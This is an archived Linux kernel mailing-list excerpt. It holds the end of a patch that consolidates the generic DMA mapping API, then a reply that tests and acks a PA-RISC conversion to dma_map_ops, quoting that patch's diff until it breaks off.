 #include <linux/dma-attrs.h>
+#include <linux/dma-debug.h>
 #include <linux/dma-direction.h>
 #include <linux/scatterlist.h>
+#include <linux/kmemcheck.h>
+#include <linux/bug.h>
+#include <asm-generic/dma-coherent.h>
 
 /*
  * A dma_addr_t can hold any valid DMA or bus address for the platform.
@@ -86,7 +90,363 @@ static inline int is_device_dma_capable(struct device *dev)
 #ifdef CONFIG_HAS_DMA
 #include <asm/dma-mapping.h>
 #else
-#include <asm-generic/dma-mapping-broken.h>
+/*
+ * Define the dma api to allow compilation but not linking of
+ * dma dependent code.  Code that depends on the dma-mapping
+ * API needs to set 'depends on HAS_DMA' in its Kconfig
+ */
+extern struct dma_map_ops bad_dma_ops;
+static inline struct dma_map_ops *get_dma_ops(struct device *dev)
+{
+	return &bad_dma_ops;
+}
+#endif
+
+static inline dma_addr_t dma_map_single_attrs(struct device *dev, void *ptr,
+					      size_t size,
+					      enum dma_data_direction dir,
+					      struct dma_attrs *attrs)
+{
+	struct dma_map_ops *ops = get_dma_ops(dev);
+	dma_addr_t addr;
+
+	kmemcheck_mark_initialized(ptr, size);
+	BUG_ON(!valid_dma_direction(dir));
+	addr = ops->map_page(dev, virt_to_page(ptr),
+			     (unsigned long)ptr & ~PAGE_MASK, size,
+			     dir, attrs);
+	debug_dma_map_page(dev, virt_to_page(ptr),
+			   (unsigned long)ptr & ~PAGE_MASK, size,
+			   dir, addr, true);
+	return addr;
+}
+
+static inline void dma_unmap_single_attrs(struct device *dev, dma_addr_t addr,
+					  size_t size,
+					  enum dma_data_direction dir,
+					  struct dma_attrs *attrs)
+{
+	struct dma_map_ops *ops = get_dma_ops(dev);
+
+	BUG_ON(!valid_dma_direction(dir));
+	if (ops->unmap_page)
+		ops->unmap_page(dev, addr, size, dir, attrs);
+	debug_dma_unmap_page(dev, addr, size, dir, true);
+}
+
+/*
+ * dma_maps_sg_attrs returns 0 on error and > 0 on success.
+ * It should never return a value < 0.
+ */
+static inline int dma_map_sg_attrs(struct device *dev, struct scatterlist *sg,
+				   int nents, enum dma_data_direction dir,
+				   struct dma_attrs *attrs)
+{
+	struct dma_map_ops *ops = get_dma_ops(dev);
+	int i, ents;
+	struct scatterlist *s;
+
+	for_each_sg(sg, s, nents, i)
+		kmemcheck_mark_initialized(sg_virt(s), s->length);
+	BUG_ON(!valid_dma_direction(dir));
+	ents = ops->map_sg(dev, sg, nents, dir, attrs);
+	BUG_ON(ents < 0);
+	debug_dma_map_sg(dev, sg, nents, ents, dir);
+
+	return ents;
+}
+
+static inline void dma_unmap_sg_attrs(struct device *dev, struct scatterlist *sg,
+				      int nents, enum dma_data_direction dir,
+				      struct dma_attrs *attrs)
+{
+	struct dma_map_ops *ops = get_dma_ops(dev);
+
+	BUG_ON(!valid_dma_direction(dir));
+	debug_dma_unmap_sg(dev, sg, nents, dir);
+	if (ops->unmap_sg)
+		ops->unmap_sg(dev, sg, nents, dir, attrs);
+}
+
+static inline dma_addr_t dma_map_page(struct device *dev, struct page *page,
+				      size_t offset, size_t size,
+				      enum dma_data_direction dir)
+{
+	struct dma_map_ops *ops = get_dma_ops(dev);
+	dma_addr_t addr;
+
+	kmemcheck_mark_initialized(page_address(page) + offset, size);
+	BUG_ON(!valid_dma_direction(dir));
+	addr = ops->map_page(dev, page, offset, size, dir, NULL);
+	debug_dma_map_page(dev, page, offset, size, dir, addr, false);
+
+	return addr;
+}
+
+static inline void dma_unmap_page(struct device *dev, dma_addr_t addr,
+				  size_t size, enum dma_data_direction dir)
+{
+	struct dma_map_ops *ops = get_dma_ops(dev);
+
+	BUG_ON(!valid_dma_direction(dir));
+	if (ops->unmap_page)
+		ops->unmap_page(dev, addr, size, dir, NULL);
+	debug_dma_unmap_page(dev, addr, size, dir, false);
+}
+
+static inline void dma_sync_single_for_cpu(struct device *dev, dma_addr_t addr,
+					   size_t size,
+					   enum dma_data_direction dir)
+{
+	struct dma_map_ops *ops = get_dma_ops(dev);
+
+	BUG_ON(!valid_dma_direction(dir));
+	if (ops->sync_single_for_cpu)
+		ops->sync_single_for_cpu(dev, addr, size, dir);
+	debug_dma_sync_single_for_cpu(dev, addr, size, dir);
+}
+
+static inline void dma_sync_single_for_device(struct device *dev,
+					      dma_addr_t addr, size_t size,
+					      enum dma_data_direction dir)
+{
+	struct dma_map_ops *ops = get_dma_ops(dev);
+
+	BUG_ON(!valid_dma_direction(dir));
+	if (ops->sync_single_for_device)
+		ops->sync_single_for_device(dev, addr, size, dir);
+	debug_dma_sync_single_for_device(dev, addr, size, dir);
+}
+
+static inline void dma_sync_single_range_for_cpu(struct device *dev,
+						 dma_addr_t addr,
+						 unsigned long offset,
+						 size_t size,
+						 enum dma_data_direction dir)
+{
+	const struct dma_map_ops *ops = get_dma_ops(dev);
+
+	BUG_ON(!valid_dma_direction(dir));
+	if (ops->sync_single_for_cpu)
+		ops->sync_single_for_cpu(dev, addr + offset, size, dir);
+	debug_dma_sync_single_range_for_cpu(dev, addr, offset, size, dir);
+}
+
+static inline void dma_sync_single_range_for_device(struct device *dev,
+						    dma_addr_t addr,
+						    unsigned long offset,
+						    size_t size,
+						    enum dma_data_direction dir)
+{
+	const struct dma_map_ops *ops = get_dma_ops(dev);
+
+	BUG_ON(!valid_dma_direction(dir));
+	if (ops->sync_single_for_device)
+		ops->sync_single_for_device(dev, addr + offset, size, dir);
+	debug_dma_sync_single_range_for_device(dev, addr, offset, size, dir);
+}
+
+static inline void
+dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg,
+		    int nelems, enum dma_data_direction dir)
+{
+	struct dma_map_ops *ops = get_dma_ops(dev);
+
+	BUG_ON(!valid_dma_direction(dir));
+	if (ops->sync_sg_for_cpu)
+		ops->sync_sg_for_cpu(dev, sg, nelems, dir);
+	debug_dma_sync_sg_for_cpu(dev, sg, nelems, dir);
+}
+
+static inline void
+dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
+		       int nelems, enum dma_data_direction dir)
+{
+	struct dma_map_ops *ops = get_dma_ops(dev);
+
+	BUG_ON(!valid_dma_direction(dir));
+	if (ops->sync_sg_for_device)
+		ops->sync_sg_for_device(dev, sg, nelems, dir);
+	debug_dma_sync_sg_for_device(dev, sg, nelems, dir);
+
+}
+
+#define dma_map_single(d, a, s, r) dma_map_single_attrs(d, a, s, r, NULL)
+#define dma_unmap_single(d, a, s, r) dma_unmap_single_attrs(d, a, s, r, NULL)
+#define dma_map_sg(d, s, n, r) dma_map_sg_attrs(d, s, n, r, NULL)
+#define dma_unmap_sg(d, s, n, r) dma_unmap_sg_attrs(d, s, n, r, NULL)
+
+extern int dma_common_mmap(struct device *dev, struct vm_area_struct *vma,
+			   void *cpu_addr, dma_addr_t dma_addr, size_t size);
+
+void *dma_common_contiguous_remap(struct page *page, size_t size,
+			unsigned long vm_flags,
+			pgprot_t prot, const void *caller);
+
+void *dma_common_pages_remap(struct page **pages, size_t size,
+			unsigned long vm_flags, pgprot_t prot,
+			const void *caller);
+void dma_common_free_remap(void *cpu_addr, size_t size, unsigned long vm_flags);
+
+/**
+ * dma_mmap_attrs - map a coherent DMA allocation into user space
+ * @dev: valid struct device pointer, or NULL for ISA and EISA-like devices
+ * @vma: vm_area_struct describing requested user mapping
+ * @cpu_addr: kernel CPU-view address returned from dma_alloc_attrs
+ * @handle: device-view address returned from dma_alloc_attrs
+ * @size: size of memory originally requested in dma_alloc_attrs
+ * @attrs: attributes of mapping properties requested in dma_alloc_attrs
+ *
+ * Map a coherent DMA buffer previously allocated by dma_alloc_attrs
+ * into user space.  The coherent DMA buffer must not be freed by the
+ * driver until the user space mapping has been released.
+ */
+static inline int
+dma_mmap_attrs(struct device *dev, struct vm_area_struct *vma, void *cpu_addr,
+	       dma_addr_t dma_addr, size_t size, struct dma_attrs *attrs)
+{
+	struct dma_map_ops *ops = get_dma_ops(dev);
+	BUG_ON(!ops);
+	if (ops->mmap)
+		return ops->mmap(dev, vma, cpu_addr, dma_addr, size, attrs);
+	return dma_common_mmap(dev, vma, cpu_addr, dma_addr, size);
+}
+
+#define dma_mmap_coherent(d, v, c, h, s) dma_mmap_attrs(d, v, c, h, s, NULL)
+
+int
+dma_common_get_sgtable(struct device *dev, struct sg_table *sgt,
+		       void *cpu_addr, dma_addr_t dma_addr, size_t size);
+
+static inline int
+dma_get_sgtable_attrs(struct device *dev, struct sg_table *sgt, void *cpu_addr,
+		      dma_addr_t dma_addr, size_t size, struct dma_attrs *attrs)
+{
+	struct dma_map_ops *ops = get_dma_ops(dev);
+	BUG_ON(!ops);
+	if (ops->get_sgtable)
+		return ops->get_sgtable(dev, sgt, cpu_addr, dma_addr, size,
+					attrs);
+	return dma_common_get_sgtable(dev, sgt, cpu_addr, dma_addr, size);
+}
+
+#define dma_get_sgtable(d, t, v, h, s) dma_get_sgtable_attrs(d, t, v, h, s, NULL)
+
+#ifndef arch_dma_alloc_attrs
+#define arch_dma_alloc_attrs(dev, flag)	(true)
+#endif
+
+static inline void *dma_alloc_attrs(struct device *dev, size_t size,
+				       dma_addr_t *dma_handle, gfp_t flag,
+				       struct dma_attrs *attrs)
+{
+	struct dma_map_ops *ops = get_dma_ops(dev);
+	void *cpu_addr;
+
+	BUG_ON(!ops);
+
+	if (dma_alloc_from_coherent(dev, size, dma_handle, &cpu_addr))
+		return cpu_addr;
+
+	if (!arch_dma_alloc_attrs(&dev, &flag))
+		return NULL;
+	if (!ops->alloc)
+		return NULL;
+
+	cpu_addr = ops->alloc(dev, size, dma_handle, flag, attrs);
+	debug_dma_alloc_coherent(dev, size, *dma_handle, cpu_addr);
+	return cpu_addr;
+}
+
+static inline void dma_free_attrs(struct device *dev, size_t size,
+				     void *cpu_addr, dma_addr_t dma_handle,
+				     struct dma_attrs *attrs)
+{
+	struct dma_map_ops *ops = get_dma_ops(dev);
+
+	BUG_ON(!ops);
+	WARN_ON(irqs_disabled());
+
+	if (dma_release_from_coherent(dev, get_order(size), cpu_addr))
+		return;
+
+	if (!ops->free)
+		return;
+
+	debug_dma_free_coherent(dev, size, cpu_addr, dma_handle);
+	ops->free(dev, size, cpu_addr, dma_handle, attrs);
+}
+
+static inline void *dma_alloc_coherent(struct device *dev, size_t size,
+		dma_addr_t *dma_handle, gfp_t flag)
+{
+	return dma_alloc_attrs(dev, size, dma_handle, flag, NULL);
+}
+
+static inline void dma_free_coherent(struct device *dev, size_t size,
+		void *cpu_addr, dma_addr_t dma_handle)
+{
+	return dma_free_attrs(dev, size, cpu_addr, dma_handle, NULL);
+}
+
+static inline void *dma_alloc_noncoherent(struct device *dev, size_t size,
+		dma_addr_t *dma_handle, gfp_t gfp)
+{
+	DEFINE_DMA_ATTRS(attrs);
+
+	dma_set_attr(DMA_ATTR_NON_CONSISTENT, &attrs);
+	return dma_alloc_attrs(dev, size, dma_handle, gfp, &attrs);
+}
+
+static inline void dma_free_noncoherent(struct device *dev, size_t size,
+		void *cpu_addr, dma_addr_t dma_handle)
+{
+	DEFINE_DMA_ATTRS(attrs);
+
+	dma_set_attr(DMA_ATTR_NON_CONSISTENT, &attrs);
+	dma_free_attrs(dev, size, cpu_addr, dma_handle, &attrs);
+}
+
+static inline int dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
+{
+	debug_dma_mapping_error(dev, dma_addr);
+
+	if (get_dma_ops(dev)->mapping_error)
+		return get_dma_ops(dev)->mapping_error(dev, dma_addr);
+
+#ifdef DMA_ERROR_CODE
+	return dma_addr == DMA_ERROR_CODE;
+#else
+	return 0;
+#endif
+}
+
+#ifndef HAVE_ARCH_DMA_SUPPORTED
+static inline int dma_supported(struct device *dev, u64 mask)
+{
+	struct dma_map_ops *ops = get_dma_ops(dev);
+
+	if (!ops)
+		return 0;
+	if (!ops->dma_supported)
+		return 1;
+	return ops->dma_supported(dev, mask);
+}
+#endif
+
+#ifndef HAVE_ARCH_DMA_SET_MASK
+static inline int dma_set_mask(struct device *dev, u64 mask)
+{
+	struct dma_map_ops *ops = get_dma_ops(dev);
+
+	if (ops->set_dma_mask)
+		return ops->set_dma_mask(dev, mask);
+
+	if (!dev->dma_mask || !dma_supported(dev, mask))
+		return -EIO;
+	*dev->dma_mask = mask;
+	return 0;
+}
 #endif
 
 static inline u64 dma_get_mask(struct device *dev)
@@ -259,22 +619,6 @@ static inline void dmam_release_declared_memory(struct device *dev)
 }
 #endif /* ARCH_HAS_DMA_DECLARE_COHERENT_MEMORY */
 
-#ifndef CONFIG_HAVE_DMA_ATTRS
-struct dma_attrs;
-
-#define dma_map_single_attrs(dev, cpu_addr, size, dir, attrs) \
-	dma_map_single(dev, cpu_addr, size, dir)
-
-#define dma_unmap_single_attrs(dev, dma_addr, size, dir, attrs) \
-	dma_unmap_single(dev, dma_addr, size, dir)
-
-#define dma_map_sg_attrs(dev, sgl, nents, dir, attrs) \
-	dma_map_sg(dev, sgl, nents, dir)
-
-#define dma_unmap_sg_attrs(dev, sgl, nents, dir, attrs) \
-	dma_unmap_sg(dev, sgl, nents, dir)
-
-#else
 static inline void *dma_alloc_writecombine(struct device *dev, size_t size,
 					   dma_addr_t *dma_addr, gfp_t gfp)
 {
@@ -300,7 +644,6 @@ static inline int dma_mmap_writecombine(struct device *dev,
 	dma_set_attr(DMA_ATTR_WRITE_COMBINE, &attrs);
 	return dma_mmap_attrs(dev, vma, cpu_addr, dma_addr, size, &attrs);
 }
-#endif /* CONFIG_HAVE_DMA_ATTRS */
 
 #ifdef CONFIG_NEED_DMA_MAP_STATE
 #define DEFINE_DMA_UNMAP_ADDR(ADDR_NAME)        dma_addr_t ADDR_NAME
-- 
1.9.1


From - Thu Nov 08 21:38:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.ports.sparc,gmane.linux.kernel.iommu
Subject: Re: [PATCH 09/16] parisc: convert to dma_map_ops
Date: Mon, 9 Nov 2015 20:32:24 +0100
Lines: 736
Approved: news@gmane.org
Message-ID: <5640F4C8.5060206@gmx.de>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
 <1447093041-21832-10-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1447097638 27887 80.91.229.3 (9 Nov 2015 19:33:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 19:33:58 +0000 (UTC)
To: Christoph Hellwig <hch@lst.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Steven Miao <realmz6@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
	linux-parisc@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, sparclinux@vger.kernel.org,
	iommu@lists.linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 09 20:33:48 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZvsC5-0002Ae-T2
	for glpp-linux-parisc@plane.gmane.org; Mon, 09 Nov 2015 20:33:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752117AbbKITdd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Nov 2015 14:33:33 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:63819 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750792AbbKITc4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Nov 2015 14:32:56 -0500
Original-Received: from [192.168.20.60] ([92.203.28.97]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MGnPx-1a9ISM2qQb-00DVev; Mon, 09 Nov 2015 20:32:35
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1447093041-21832-10-git-send-email-hch@lst.de>
X-Provags-ID: V03:K0:U5wiLDzdTIlZ+qvLkQs80y/6qn2HmKfB88Zzmk+vjQ/zuhVO87k
 vXsY3zXb61Ux30oS6X6Q3v6+1K6NlZ5S7YOn5hVpHls12Cs2efvYRey54GVEMMlb5PiXimM
 suksNGS/z/zXmFc2ZzTZ3DVa9dcxMbx2WF9lzuSM7NbscIQZGaszwvF3E7rloN25HwLSs26
 5gmtJdDV8T/ozObAtKXtA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:6D8cQbIhYrE=:Vbj+7hefYjKVEh2cZXSVYA
 NxLnLcn5EC8oJjALCxjO9uYj+9McHvpuNAfXX0Ab/hxLA0okRmd5Ge33BLzIxvQ4v0bqjJltr
 Ms88I8SDNELP/QdXHj6WP/MFe5OWA9v9joVoj61RHj2DM6bG0VwHU6SF5k8DsDwF+uLXYKF3V
 8JIkaUuB9LHfMQ+olOAYDyk9xu1hz7v/LkO1v7ITsLFl0edUMz6umelrPBE/CyFuEzVAltoeU
 Oif1XkXcPzqW/bF3toH0NGdM9t0dAoOXbjwPYi403yR5c15+u5ntxZbkpgYyRbQZE88z121Px
 axLL2wRYciAYNxIvhQcYKdresIGT+03wDbV0EBE4LedXc4jdZSSPTLfA4WWkzaqjB5WpwZ26b
 zZ+47w/oM0cT1IR09InVK0XRMPI/aqvZZqEXRB2NCFgioRd5I16PUrkvBPozvVKcQ/8NpVyva
 4nvPa6k5VS/L/oICLMSmt3tO7JxVoPqfqCxsCZIul7g+H6TmUNnAZWW55tCMr+0Yo40HbtP8f
 BrLiGVq4oZeJDr7rGh1sQ1dis5Xd9cIVcl4X0Tod1OBH4g0Rkjl7RBSSPczlOXpZxZXq+OCht
 gSYA6GmFMqbD9tFtfeYEzBTjxmiesqf/ffbm9kUSZiPEPbHENnRnoZZeoXyr/3ClgkHPRIyMn
 yUfLfSbp+7JtnN68anpcH3E9vRw7pl55vhmvjNuLKM/jZiYaTzD9lmgiuH7uSKfq1RXSWqTot
 bt8wMhRezynmOJmTrnFRX1KDYvRqOOnGVUs4GAaipgUuw//LbyqZGAM7oIeVc+4Y9L4LwhG/ 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26147 gmane.linux.kernel.metag:664 gmane.linux.ports.sparc:21751 gmane.linux.kernel.iommu:11457
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26147>

On 09.11.2015 19:17, Christoph Hellwig wrote:
> Signed-off-by: Christoph Hellwig <hch@lst.de>

Nice cleanup/consolidation patches!

I pulled your branch, built the 32- and 64bit parisc kernels
and successfully booted them on 3 different PA-RISC machines: 
HP 715/64, C3000 and C8000
Everything OK.

Tested-by: Helge Deller <deller@gmx.de>
Acked-by: Helge Deller <deller@gmx.de>

Thanks!
Helge

> ---
>  arch/parisc/Kconfig                   |   2 +
>  arch/parisc/include/asm/dma-mapping.h | 189 ++--------------------------------
>  arch/parisc/kernel/drivers.c          |   2 +-
>  arch/parisc/kernel/pci-dma.c          |  92 ++++++++++-------
>  drivers/parisc/ccio-dma.c             |  57 +++++-----
>  drivers/parisc/sba_iommu.c            |  52 +++++-----
>  6 files changed, 124 insertions(+), 270 deletions(-)
> 
> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index c365469..bdabfcd 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -29,6 +29,8 @@ config PARISC
>  	select TTY # Needed for pdc_cons.c
>  	select HAVE_DEBUG_STACKOVERFLOW
>  	select HAVE_ARCH_AUDITSYSCALL
> +	select ARCH_NO_COHERENT_DMA_MMAP
> +	select HAVE_DMA_ATTRS
>  
>  	help
>  	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
> diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
> index d8d60a5..4de5186 100644
> --- a/arch/parisc/include/asm/dma-mapping.h
> +++ b/arch/parisc/include/asm/dma-mapping.h
> @@ -1,30 +1,11 @@
>  #ifndef _PARISC_DMA_MAPPING_H
>  #define _PARISC_DMA_MAPPING_H
>  
> -#include <linux/mm.h>
> -#include <linux/scatterlist.h>
>  #include <asm/cacheflush.h>
>  
> -/* See Documentation/DMA-API-HOWTO.txt */
> -struct hppa_dma_ops {
> -	int  (*dma_supported)(struct device *dev, u64 mask);
> -	void *(*alloc_consistent)(struct device *dev, size_t size, dma_addr_t *iova, gfp_t flag);
> -	void *(*alloc_noncoherent)(struct device *dev, size_t size, dma_addr_t *iova, gfp_t flag);
> -	void (*free_consistent)(struct device *dev, size_t size, void *vaddr, dma_addr_t iova);
> -	dma_addr_t (*map_single)(struct device *dev, void *addr, size_t size, enum dma_data_direction direction);
> -	void (*unmap_single)(struct device *dev, dma_addr_t iova, size_t size, enum dma_data_direction direction);
> -	int  (*map_sg)(struct device *dev, struct scatterlist *sg, int nents, enum dma_data_direction direction);
> -	void (*unmap_sg)(struct device *dev, struct scatterlist *sg, int nhwents, enum dma_data_direction direction);
> -	void (*dma_sync_single_for_cpu)(struct device *dev, dma_addr_t iova, unsigned long offset, size_t size, enum dma_data_direction direction);
> -	void (*dma_sync_single_for_device)(struct device *dev, dma_addr_t iova, unsigned long offset, size_t size, enum dma_data_direction direction);
> -	void (*dma_sync_sg_for_cpu)(struct device *dev, struct scatterlist *sg, int nelems, enum dma_data_direction direction);
> -	void (*dma_sync_sg_for_device)(struct device *dev, struct scatterlist *sg, int nelems, enum dma_data_direction direction);
> -};
> -
>  /*
> -** We could live without the hppa_dma_ops indirection if we didn't want
> -** to support 4 different coherent dma models with one binary (they will
> -** someday be loadable modules):
> +** We need to support 4 different coherent dma models with one binary:
> +**
>  **     I/O MMU        consistent method           dma_sync behavior
>  **  =============   ======================       =======================
>  **  a) PA-7x00LC    uncachable host memory          flush/purge
> @@ -40,158 +21,22 @@ struct hppa_dma_ops {
>  */
>  
>  #ifdef CONFIG_PA11
> -extern struct hppa_dma_ops pcxl_dma_ops;
> -extern struct hppa_dma_ops pcx_dma_ops;
> +extern struct dma_map_ops pcxl_dma_ops;
> +extern struct dma_map_ops pcx_dma_ops;
>  #endif
>  
> -extern struct hppa_dma_ops *hppa_dma_ops;
> -
> -#define dma_alloc_attrs(d, s, h, f, a) dma_alloc_coherent(d, s, h, f)
> -#define dma_free_attrs(d, s, h, f, a) dma_free_coherent(d, s, h, f)
> -
> -static inline void *
> -dma_alloc_coherent(struct device *dev, size_t size, dma_addr_t *dma_handle,
> -		   gfp_t flag)
> -{
> -	return hppa_dma_ops->alloc_consistent(dev, size, dma_handle, flag);
> -}
> -
> -static inline void *
> -dma_alloc_noncoherent(struct device *dev, size_t size, dma_addr_t *dma_handle,
> -		      gfp_t flag)
> -{
> -	return hppa_dma_ops->alloc_noncoherent(dev, size, dma_handle, flag);
> -}
> -
> -static inline void
> -dma_free_coherent(struct device *dev, size_t size, 
> -		    void *vaddr, dma_addr_t dma_handle)
> -{
> -	hppa_dma_ops->free_consistent(dev, size, vaddr, dma_handle);
> -}
> -
> -static inline void
> -dma_free_noncoherent(struct device *dev, size_t size, 
> -		    void *vaddr, dma_addr_t dma_handle)
> -{
> -	hppa_dma_ops->free_consistent(dev, size, vaddr, dma_handle);
> -}
> -
> -static inline dma_addr_t
> -dma_map_single(struct device *dev, void *ptr, size_t size,
> -	       enum dma_data_direction direction)
> -{
> -	return hppa_dma_ops->map_single(dev, ptr, size, direction);
> -}
> -
> -static inline void
> -dma_unmap_single(struct device *dev, dma_addr_t dma_addr, size_t size,
> -		 enum dma_data_direction direction)
> -{
> -	hppa_dma_ops->unmap_single(dev, dma_addr, size, direction);
> -}
> -
> -static inline int
> -dma_map_sg(struct device *dev, struct scatterlist *sg, int nents,
> -	   enum dma_data_direction direction)
> -{
> -	return hppa_dma_ops->map_sg(dev, sg, nents, direction);
> -}
> -
> -static inline void
> -dma_unmap_sg(struct device *dev, struct scatterlist *sg, int nhwentries,
> -	     enum dma_data_direction direction)
> -{
> -	hppa_dma_ops->unmap_sg(dev, sg, nhwentries, direction);
> -}
> -
> -static inline dma_addr_t
> -dma_map_page(struct device *dev, struct page *page, unsigned long offset,
> -	     size_t size, enum dma_data_direction direction)
> -{
> -	return dma_map_single(dev, (page_address(page) + (offset)), size, direction);
> -}
> -
> -static inline void
> -dma_unmap_page(struct device *dev, dma_addr_t dma_address, size_t size,
> -	       enum dma_data_direction direction)
> -{
> -	dma_unmap_single(dev, dma_address, size, direction);
> -}
> -
> -
> -static inline void
> -dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle, size_t size,
> -		enum dma_data_direction direction)
> -{
> -	if(hppa_dma_ops->dma_sync_single_for_cpu)
> -		hppa_dma_ops->dma_sync_single_for_cpu(dev, dma_handle, 0, size, direction);
> -}
> -
> -static inline void
> -dma_sync_single_for_device(struct device *dev, dma_addr_t dma_handle, size_t size,
> -		enum dma_data_direction direction)
> -{
> -	if(hppa_dma_ops->dma_sync_single_for_device)
> -		hppa_dma_ops->dma_sync_single_for_device(dev, dma_handle, 0, size, direction);
> -}
> -
> -static inline void
> -dma_sync_single_range_for_cpu(struct device *dev, dma_addr_t dma_handle,
> -		      unsigned long offset, size_t size,
> -		      enum dma_data_direction direction)
> -{
> -	if(hppa_dma_ops->dma_sync_single_for_cpu)
> -		hppa_dma_ops->dma_sync_single_for_cpu(dev, dma_handle, offset, size, direction);
> -}
> +extern struct dma_map_ops *hppa_dma_ops;
>  
> -static inline void
> -dma_sync_single_range_for_device(struct device *dev, dma_addr_t dma_handle,
> -		      unsigned long offset, size_t size,
> -		      enum dma_data_direction direction)
> +static inline struct dma_map_ops *get_dma_ops(struct device *dev)
>  {
> -	if(hppa_dma_ops->dma_sync_single_for_device)
> -		hppa_dma_ops->dma_sync_single_for_device(dev, dma_handle, offset, size, direction);
> -}
> -
> -static inline void
> -dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg, int nelems,
> -		 enum dma_data_direction direction)
> -{
> -	if(hppa_dma_ops->dma_sync_sg_for_cpu)
> -		hppa_dma_ops->dma_sync_sg_for_cpu(dev, sg, nelems, direction);
> -}
> -
> -static inline void
> -dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg, int nelems,
> -		 enum dma_data_direction direction)
> -{
> -	if(hppa_dma_ops->dma_sync_sg_for_device)
> -		hppa_dma_ops->dma_sync_sg_for_device(dev, sg, nelems, direction);
> -}
> -
> -static inline int
> -dma_supported(struct device *dev, u64 mask)
> -{
> -	return hppa_dma_ops->dma_supported(dev, mask);
> -}
> -
> -static inline int
> -dma_set_mask(struct device *dev, u64 mask)
> -{
> -	if(!dev->dma_mask || !dma_supported(dev, mask))
> -		return -EIO;
> -
> -	*dev->dma_mask = mask;
> -
> -	return 0;
> +	return hppa_dma_ops;
>  }
>  
>  static inline void
>  dma_cache_sync(struct device *dev, void *vaddr, size_t size,
>  	       enum dma_data_direction direction)
>  {
> -	if(hppa_dma_ops->dma_sync_single_for_cpu)
> +	if (hppa_dma_ops->sync_single_for_cpu)
>  		flush_kernel_dcache_range((unsigned long)vaddr, size);
>  }
>  
> @@ -238,22 +83,6 @@ struct parisc_device;
>  void * sba_get_iommu(struct parisc_device *dev);
>  #endif
>  
> -/* At the moment, we panic on error for IOMMU resource exaustion */
> -#define dma_mapping_error(dev, x)	0
> -
> -/* This API cannot be supported on PA-RISC */
> -static inline int dma_mmap_coherent(struct device *dev,
> -				    struct vm_area_struct *vma, void *cpu_addr,
> -				    dma_addr_t dma_addr, size_t size)
> -{
> -	return -EINVAL;
> -}
> -
> -static inline int dma_get_sgtable(struct device *dev, struct sg_table *sgt,
> -				  void *cpu_addr, dma_addr_t dma_addr,
> -				  size_t size)
> -{
> -	return -EINVAL;
> -}
> +#include <asm-generic/dma-mapping-common.h>
>  
>  #endif
> diff --git a/arch/parisc/kernel/drivers.c b/arch/parisc/kernel/drivers.c
> index dba508f..f815066 100644
> --- a/arch/parisc/kernel/drivers.c
> +++ b/arch/parisc/kernel/drivers.c
> @@ -40,7 +40,7 @@
>  #include <asm/parisc-device.h>
>  
>  /* See comments in include/asm-parisc/pci.h */
> -struct hppa_dma_ops *hppa_dma_ops __read_mostly;
> +struct dma_map_ops *hppa_dma_ops __read_mostly;
>  EXPORT_SYMBOL(hppa_dma_ops);
>  
>  static struct device root = {
> diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
> index b9402c9..a27e492 100644
> --- a/arch/parisc/kernel/pci-dma.c
> +++ b/arch/parisc/kernel/pci-dma.c
> @@ -413,7 +413,8 @@ pcxl_dma_init(void)
>  
>  __initcall(pcxl_dma_init);
>  
> -static void * pa11_dma_alloc_consistent (struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t flag)
> +static void *pa11_dma_alloc(struct device *dev, size_t size,
> +		dma_addr_t *dma_handle, gfp_t flag, struct dma_attrs *attrs)
